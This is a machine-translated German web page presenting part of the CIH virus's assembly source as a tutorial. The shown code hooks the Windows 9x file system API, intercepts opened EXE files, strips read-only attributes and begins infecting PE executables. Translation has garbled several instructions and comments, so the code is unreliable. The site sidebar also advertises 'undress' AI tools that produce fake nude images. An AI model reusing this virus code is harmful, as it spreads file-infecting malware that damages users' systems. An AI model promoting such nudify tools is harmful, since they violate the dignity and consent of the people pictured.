Heim Backend-Entwicklung PHP-Tutorial Analyse von Beispielen für den Quellcode von Virenprogrammen – CIH-Virus[3]

Analyse von Beispielen für den Quellcode von Virenprogrammen – CIH-Virus[3]

Jan 17, 2017 am 11:16 AM

jmp ExitRing0Init ;Exit Ring0 level
 
 ;Zusammengeführte Codegröße
 CodeSizeOfMergeVirusCodeSection = offset $
 
 ;Neuer IFSMgr_InstallFileSystemApiHook-Funktionsaufruf
InstallFileSystemApiHook:
push ebx

 call @4
 
 @4:
 pop ebx; Holen Sie sich die Offset-Adresse der aktuellen Anweisung
 add ebx, FileSystemApiHook-@4; Die Differenz plus der Offset ist gleich FileSystemApiHook Offset
 
 push ebx
 int 20h; Rufen Sie Vxd auf, um den Hook zu entfernen, der auf FileSystemApiHook zeigt
IFSMgr_RemoveFileSystemApiHook = $
 dd 00400068h; Verwenden Sie die Register eax, ecx, edx und flags Pop Eax
 
 ;Rufen Sie die ursprüngliche IFSMgr_InstallFileSystemApiHook-Funktion auf, um den FileSystemApiHook-Hook zu verbinden
 push dword ptr [esp+8]
 call OldInstallFileSystemApiHook-@3[ebx]
 
 pop ecx <.> drücken eax
push ebx

call OldInstallFileSystemApiHook-@3[ebx]
pop ecx

mov dr0, eax ;OldFileSystemApiHook-Adresse anpassen

pop eax
pop ebx
 
ret

OldInstallFileSystemApiHook dd;Original InstallFileSystemApiHook-Aufrufadresse

;IFSMgr_FileSystemHook-Aufrufeintrag
FileSystemApiHook:
@3 = FileSystemApiHook
 
push ad ; save register

call @5

@5:
mov esi, offset ; add esi, VirusGameDataStartAddress- @5 ;esi ist der Offset von FileSystemApiHook
;;Die Differenz plus der Offset von VirusGameDataStartAddress ist gleich dem Offset von VirusGameDataStartAddress

;Testen Sie das „Busy“-Flag, und „Busy“ geht an pIFSFunc
test byte ptr (OnBusy-@6)[esi], 01h
jnz pIFSFunc

; Wenn die Datei nicht geöffnet ist, gehe zu prevhook
lea ebx, [esp+20h+04h +04h] ;ebx ist die Adresse von FunctionNum
 
;Das Aufrufformat des Dateisystem-Hooks ist wie folgt
;FileSystemApiHookFunction(pIFSFunc FSDFnAddr, int FunctionNum, int Drive,
;int ResourceFlags, int CodePage, pioreq pir)
 🎜>; Bestimmen Sie, ob dieser Aufruf eine Datei öffnen soll. Wenn nicht, springen Sie zum vorherigen Datei-Hook
cmp dword ptr [ebx], 00000024h
jne prevhook

inc byte ptr (OnBusy -@6)[esi] ; OnBusy aktivieren ;Setzen Sie das „Busy“-Flag auf „Busy“
 
 ;Rufen Sie den durch den Dateipfad angegebenen Laufwerksbuchstaben ab und geben Sie dann den ein Laufwerksname in FileNameBuffer
;Wenn der Laufwerksbuchstabe 03h ist, bedeutet dies, dass das Laufwerk C-Laufwerk ist
mov esi, offset FileNameBuffer
add esi, FileNameBuffer-@6; esi zeigt auf FileNameBuffer

push esi; save
mov al, [ebx +04h] ;ebx+4 ist die Adresse der Festplattennummer
 
;; Ist es eine UNC-Adresse (Universal Naming Conventions)? Wenn ja, transfer to CallUniToBCSPath
cmp al, 0ffh
je CallUniToBCSPath

Add al, 40h
mov ah, ':'

mov [esi], eax ; in die Form „X:“ verarbeitet, d. h. nach dem Laufwerksbuchstaben einen Doppelpunkt hinzufügen

inc esi
inc esi

; call method
; UniToBCSPath(unsigned char * pBCSPath, ParsedPath * pUniPath,
; unsigned int maxLength, int charSet)
CallUniToBCSPath:
push 00000000h ;Zeichensatz
push FileNameBufferSize ;Zeichenlänge
mov ebx, [ebx+10h]
mov eax, [ebx+0ch]
eax hinzufügen, 04h
push eax ; Uni-Zeichen erste Adresse
push esi ; BCS-Zeichen erste Adresse
int 20h ; Call UniToBCSPath
UniToBCSPath = $
dd 00400041h Call id
add esp, 04h*04h
 
 ;Bestimmen Sie, ob die Datei eine EXE-Datei ist
 cmp [esi+ eax-04h], „EXE.“ ], 'KCUF'
 jne DisableOnBusy
 
 ENDIF
 
 ;Beurteilungsdatei Ob vorhanden, wenn nicht, gehen Sie zu DisableOnBusy
cmp word ptr [ebx+18h], 01h
jne DisableOnBusy

; Holen Sie sich die Dateiattribute
mov ax, 4300h
int 20h; Rufen Sie IFSMgr_Ring0_FileIO = $
dd 00400032h auf; 🎜 >
jc DisableOnBusy
push ecx

; IFSMgr_Ring0_FileIO-Adresse abrufen
mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi]
mov edi, [edi]

; Stellen Sie fest, ob die Datei schreibgeschützt ist. Wenn ja, ändern Sie die Dateiattribute. Andernfalls gehen Sie zu OpenFile
test cl, 01h
jz OpenFile

mov ax, 4301h
xor ecx, ecx
call edi ;Rufen Sie die Funktion von IFSMgr_Ring0_FileIO auf, um die Dateiattribute zu ändern, um die Datei beschreibbar zu machen
 
;Öffnen Sie die Datei
OpenFile:
;Dateiattribute
  xor edx, edx
inc edx
mov ebx, edx
inc ebx ;esi ist die erste Adresse des Dateinamens
call edi ;Rufen Sie die Funktion von IFSMgr_Ring0_FileIO auf, um die Datei zu öffnen

xchg ebx, eax ;Speichern Sie das Dateihandle in ebx
test cl, 01h
jz IsOpenFileOK

;Dateiattribute wiederherstellen
mov ax, 4301h
call edi;Dateiattribute wiederherstellen

;Ob die Datei erfolgreich geöffnet wurde, wenn nicht, dann wenden Sie sich an DisableOnBusy
IsOpenFileOK:
popf
jc DisableOnBusy

; Die Datei wurde erfolgreich geöffnet
push esi; Push die erste Adresse des Dateinamen-Datenbereichs auf den Stapel

pushf ;CF = 0, Flag speichern
 
 add esi, DataBuffer-@7;
 
 ;Den Offset des neuen Dateiheaders abrufen
xor eax, eax
 mov ah, 0d6h;Die Lesedatei-Funktionsnummer (R0_READFILE) von IFSMgr_Ring0_FileIO
 
 ;Um Minimieren Sie die Länge des Virencodes, speichern Sie eax in ebp
 mov ebp, eax
 
Push 00000004h ; Lesen Sie 4 Bytes
pop ecx
push 0000003ch ; Lesen Sie den Windows-Datei-Header-Offset unter DOS Datei-Header-Offset 3ch
pop edx
call edi ; Read File to esi
 
mov edx, [esi] ; Windows-Datei-Header-Offset zu edx

; infizierte Markierung des Grafikdatei-Headers
dec edx
mov eax, ebp ; Funktionsnummer
; Datei nach esi lesen

; bestimmen Sie, ob es sich um PE handelt ob es infiziert wurde
; Bestimmen Sie, ob es sich um eine selbstextrahierende WinZip-Datei handelt. Wenn ja, wird sie nicht mit Self-Extractor infiziert *
 cmp dword ptr [esi], 00455000h; PE-Datei (Markierung „PE/0/0“)
 jne CloseFile; Wenn nicht, schließen Sie die Datei
 
 ;Wenn es sich um eine PE-Datei handelt und sie nicht infiziert ist, beginnen Sie mit der Infektion der Datei
push ebx;Datei-Handle speichern
 push 00h
 
 ;Virusinfektionsflagge setzen
 push 01h ; Markieren Sie die Größe
push edx ; zeigt auf PE-Datei-Header-Offset 00h
push edi ; edi ist die Adresse von IFSMgr_Ring0_FileIO

mov dr1, esp ; save esp

; Set NewAddressOfEntryPoint Entry

; Read file header
mov eax, ebp
mov cl, SizeOfImageHeaderToRead ; Um 2 Bytes zu lesen
edx hinzufügen, 07h ;PE-Dateiheader +07h Für NumberOfSections (Anzahl der Blöcke)
rufen Sie edi auf; lesen Sie NumberOfSections (Anzahl der Blöcke) zu esi

lea eax, (AddressOfEntryPoint-@8)[edx]
push eax ; file pointer
 
 lea eax, (NewAddressOfEntryPoint-@8)[esi]
 push eax;
 
 ;Setzen Sie den Wert von edx an den Anfang der Dateivirus-Codeblocktabelle
movzx eax, word ptr (SizeOfOptionalHeader-@8)[esi]
lea edx, [eax+edx+ 12h] ; edx ist der Offset der Virencode-Blocktabelle

; Die Größe von
mov al, SizeOfScetionTable ; Die Größe jedes Blocktabelleneintrags

mov cl, (NumberOfSections-@8)[esi]

mul cl ; Die Multiplikation jedes Blocktabelleneintrags Die Anzahl der Blöcke entspricht der Größe der Blocktabelle
 
; Viruscode-Blocktabelle
lea esi, (StartOfSectionTable-@8)[esi]; zeigt auf die erste Adresse der Blocktabelle (im dynamischen Datenbereich des Virus)

Das Obige ist der Inhalt von Beispielanalyse des Virenprogramm-Quellcodes – CIH-Virus [3]. Weitere verwandte Inhalte finden Sie auf der chinesischen PHP-Website (www.php.cn)!



Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn

Heiße KI -Werkzeuge

Undresser.AI Undress

Undresser.AI Undress

KI-gestützte App zum Erstellen realistischer Aktfotos

AI Clothes Remover

AI Clothes Remover

Online-KI-Tool zum Entfernen von Kleidung aus Fotos.

Undress AI Tool

Undress AI Tool

Ausziehbilder kostenlos

Clothoff.io

Clothoff.io

KI-Kleiderentferner

AI Hentai Generator

AI Hentai Generator

Erstellen Sie kostenlos Ai Hentai.

Heißer Artikel

R.E.P.O. Energiekristalle erklärten und was sie tun (gelber Kristall)
4 Wochen vor By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Beste grafische Einstellungen
4 Wochen vor By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. So reparieren Sie Audio, wenn Sie niemanden hören können
4 Wochen vor By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Chat -Befehle und wie man sie benutzt
4 Wochen vor By 尊渡假赌尊渡假赌尊渡假赌

Heiße Werkzeuge

Notepad++7.3.1

Notepad++7.3.1

Einfach zu bedienender und kostenloser Code-Editor

SublimeText3 chinesische Version

SublimeText3 chinesische Version

Chinesische Version, sehr einfach zu bedienen

Senden Sie Studio 13.0.1

Senden Sie Studio 13.0.1

Leistungsstarke integrierte PHP-Entwicklungsumgebung

Dreamweaver CS6

Dreamweaver CS6

Visuelle Webentwicklungstools

SublimeText3 Mac-Version

SublimeText3 Mac-Version

Codebearbeitungssoftware auf Gottesniveau (SublimeText3)

Erklären Sie JSON Web Tokens (JWT) und ihren Anwendungsfall in PHP -APIs. Erklären Sie JSON Web Tokens (JWT) und ihren Anwendungsfall in PHP -APIs. Apr 05, 2025 am 12:04 AM

JWT ist ein offener Standard, der auf JSON basiert und zur sicheren Übertragung von Informationen zwischen Parteien verwendet wird, hauptsächlich für die Identitätsauthentifizierung und den Informationsaustausch. 1. JWT besteht aus drei Teilen: Header, Nutzlast und Signatur. 2. Das Arbeitsprinzip von JWT enthält drei Schritte: Generierung von JWT, Überprüfung von JWT und Parsingnayload. 3. Bei Verwendung von JWT zur Authentifizierung in PHP kann JWT generiert und überprüft werden, und die Funktionen und Berechtigungsinformationen der Benutzer können in die erweiterte Verwendung aufgenommen werden. 4. Häufige Fehler sind Signaturüberprüfungsfehler, Token -Ablauf und übergroße Nutzlast. Zu Debugging -Fähigkeiten gehört die Verwendung von Debugging -Tools und Protokollierung. 5. Leistungsoptimierung und Best Practices umfassen die Verwendung geeigneter Signaturalgorithmen, das Einstellen von Gültigkeitsperioden angemessen.

Erklären Sie das Konzept der späten statischen Bindung in PHP. Erklären Sie das Konzept der späten statischen Bindung in PHP. Mar 21, 2025 pm 01:33 PM

In Artikel wird die in PHP 5.3 eingeführte LSB -Bindung (LSB) erörtert, die die Laufzeitauflösung der statischen Methode ermöglicht, um eine flexiblere Vererbung zu erfordern. Die praktischen Anwendungen und potenziellen Perfo von LSB

Rahmensicherheitsmerkmale: Schutz vor Schwachstellen. Rahmensicherheitsmerkmale: Schutz vor Schwachstellen. Mar 28, 2025 pm 05:11 PM

In Artikel werden wichtige Sicherheitsfunktionen in Frameworks erörtert, um vor Schwachstellen zu schützen, einschließlich Eingabevalidierung, Authentifizierung und regelmäßigen Aktualisierungen.

Wie sende ich eine Postanforderung mit JSON -Daten mithilfe der Curl -Bibliothek von PHP? Wie sende ich eine Postanforderung mit JSON -Daten mithilfe der Curl -Bibliothek von PHP? Apr 01, 2025 pm 03:12 PM

Senden von JSON -Daten mithilfe der Curl -Bibliothek von PHP in der PHP -Entwicklung müssen häufig mit externen APIs interagieren. Eine der gängigen Möglichkeiten besteht darin, die Curl Library zu verwenden, um Post � ...

Anpassung/Erweiterung von Frameworks: So fügen Sie benutzerdefinierte Funktionen hinzu. Anpassung/Erweiterung von Frameworks: So fügen Sie benutzerdefinierte Funktionen hinzu. Mar 28, 2025 pm 05:12 PM

In dem Artikel werden Frameworks hinzugefügt, das sich auf das Verständnis der Architektur, das Identifizieren von Erweiterungspunkten und Best Practices für die Integration und Debuggierung hinzufügen.

Beschreiben Sie die soliden Prinzipien und wie sie sich für die PHP -Entwicklung anwenden. Beschreiben Sie die soliden Prinzipien und wie sie sich für die PHP -Entwicklung anwenden. Apr 03, 2025 am 12:04 AM

Die Anwendung des soliden Prinzips in der PHP -Entwicklung umfasst: 1. Prinzip der Einzelverantwortung (SRP): Jede Klasse ist nur für eine Funktion verantwortlich. 2. Open and Close Principle (OCP): Änderungen werden eher durch Erweiterung als durch Modifikation erreicht. 3.. Lischs Substitutionsprinzip (LSP): Unterklassen können Basisklassen ersetzen, ohne die Programmgenauigkeit zu beeinträchtigen. 4. Schnittstellen-Isolationsprinzip (ISP): Verwenden Sie feinkörnige Schnittstellen, um Abhängigkeiten und nicht verwendete Methoden zu vermeiden. 5. Abhängigkeitsinversionsprinzip (DIP): Hoch- und niedrige Module beruhen auf der Abstraktion und werden durch Abhängigkeitsinjektion implementiert.

Wie funktioniert die Session -Entführung und wie können Sie es in PHP mildern? Wie funktioniert die Session -Entführung und wie können Sie es in PHP mildern? Apr 06, 2025 am 12:02 AM

Die Hijacking der Sitzung kann in den folgenden Schritten erreicht werden: 1. Erhalten Sie die Sitzungs -ID, 2. Verwenden Sie die Sitzungs -ID, 3. Halten Sie die Sitzung aktiv. Zu den Methoden zur Verhinderung der Sitzung der Sitzung in PHP gehören: 1. Verwenden Sie die Funktion Session_regenerate_id (), um die Sitzungs -ID zu regenerieren. 2. Store -Sitzungsdaten über die Datenbank, 3. Stellen Sie sicher, dass alle Sitzungsdaten über HTTPS übertragen werden.

See all articles